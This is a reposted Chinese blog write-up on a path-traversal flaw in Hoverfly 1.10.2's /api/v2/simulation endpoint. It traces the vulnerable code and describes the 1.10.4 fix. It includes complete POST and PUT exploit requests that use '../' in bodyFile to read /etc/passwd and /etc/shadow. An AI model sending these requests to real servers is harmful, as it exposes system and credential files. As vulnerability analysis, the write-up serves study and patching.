当前位置: 首页 > news >正文

网站设计标题wordpress后台加统计代码

网站设计标题,wordpress后台加统计代码,wordpress代码,网络监控管理系统漏洞简介 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而#xff0c;这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管…漏洞简介 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径但攻击者可以通过使用 ../​ 段来逃离 hf.Cfg.ResponsesBodyFilesPath​ 基本路径从而访问任何任意文件。 环境搭建 我们还是利用 docker 来搭建环境 https://hub.docker.com/r/spectolabs/hoverfly/tags docker pull spectolabs/hoverfly:v1.10.2 docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2   ‍ 漏洞复现 构造数据包 POST /api/v2/simulation HTTP/1.1 Host: 127.0.0.1:8888 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8888/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Connection: close Content-Length: 126 Content-Type: application/x-www-form-urlencoded ​ {data:{pairs:[{ request:{},response: { bodyFile: ../../../../../etc/passwd}} ]},meta:{schemaVersion:v5.2}} PUT /api/v2/simulation HTTP/1.1 Host: 127.0.0.1:8888 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8888/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Connection: close Content-Length: 126 Content-Type: application/x-www-form-urlencoded ​ {data:{pairs:[{ request:{},response: { bodyFile: ../../../../../etc/shadow}} ]},meta:{schemaVersion:v5.2}} 【----帮助网安学习以下所有学习资料免费领加vxdctintin备注 “博客园” 获取】 ① 网安学习成长路径思维导图  ② 60网安经典常用工具包  ③ 100SRC漏洞分析报告  ④ 150网安攻防实战技术电子书  ⑤ 最权威CISSP 认证考试指南题库  ⑥ 超1800页CTF实战技巧手册  ⑦ 最新网安大厂面试题合集含答案  ⑧ APP客户端安全检测指南安卓IOS 漏洞分析 hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes 定义了 SimulationHandler​ 的路由注册方法路由的每个 HTTP 方法如 GET​、PUT​、POST​、DELETE​ 等都有一个对应的处理函数 (this.Get​、this.Put​、this.Post​、this.Delete​、this.Options​、this.GetSchema​)。这些函数处理实际的业务逻辑。 GET /api/v2/simulation: 处理获取模拟数据。 PUT /api/v2/simulation: 处理更新模拟数据。 POST /api/v2/simulation: 处理创建新的模拟数据。 DELETE /api/v2/simulation: 处理删除模拟数据。 OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation​ 端点允许的 HTTP 方法的信息。 GET /api/v2/simulation/schema: 获取模拟数据的 schema结构。 OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema​ 端点允许的 HTTP 方法的信息。 POST 和 PUT 方法 仅仅是函数的第三个参数有所不同所以两种请求方式都可以实现任意文件读取 hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation 第三个参数的不同导致 PUT 方法在获取新的模型内容时首先删除前一个模拟内容可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容无法更新。 hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile 这里就是漏洞产生的关键原因对传入的参数 filePath 没有做具体的校验可以通过 ../​ 实现跨越目录的读取文件 我们看到最新版已经对传入的参数进行了处理 hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath 这个 ResolveAndValidatePath​ 函数用于从一个绝对路径absBasePath​解析一个相对路径relativePath​并验证这个相对路径是否合法。具体来说它确保了相对路径不会尝试向上回溯使用 ..​并且解析后的路径仍然在基路径之下。
http://www.dnsts.com.cn/news/100933.html

相关文章:

  • 门户网站开发使用什么语言免费代理网页
  • 高水平的郑州网站建设个人网站 外贸
  • 网站模版 源码之家在线查企业
  • 榆林医疗网站建设建设网上购物网站
  • 极简资讯网站开发电子商务网站建设需要的语言
  • 网站制作不用备案万网怎么做网站
  • 青岛网站建设技术外包网站开发 经常要清理缓存
  • 网站性能优化网站在线演示
  • 网站服务器租用价格表ps网页版在线使用最全版
  • 织梦网站标题被篡改湖南长沙市区哪里好玩
  • 南京企业建站系统wordpress文章页有英语
  • google建网站国内最新新闻事件摘抄
  • 免费asp网站模板带后台舟山工程建设信息网站
  • 红色网站 后台如何做生鲜配送网站生意
  • 烟台企业网站建设公司搜索域名
  • 重庆哪里做网站多姿wordpress
  • 登陆建设官方网站鹤壁建设网站推广公司
  • 顺德网站建设渠道有搜索引擎作弊的网站
  • 网站栏目功能怀柔石家庄网站建设
  • 建设网站的企业是什么深圳平面广告设计公司
  • 怎么设置网站支付功能图片展示网站
  • 中国有哪些网站可以做兼职餐馆网站怎么做
  • 以橙色为主的网站微信小商店官网入口
  • wordpress网站数据迁移大连企业网站建设定制
  • 辽宁响应式网站建设哪家好企业网站建设公司多米
  • 学校网站制作多少钱乐陵森林
  • flash开发网站学校网站素材
  • wordpress博客打开慢手机优化设置
  • 网站安全建设总结报告益阳网络推广
  • 给我一个可以在线观看的懂得淄博网站优化资讯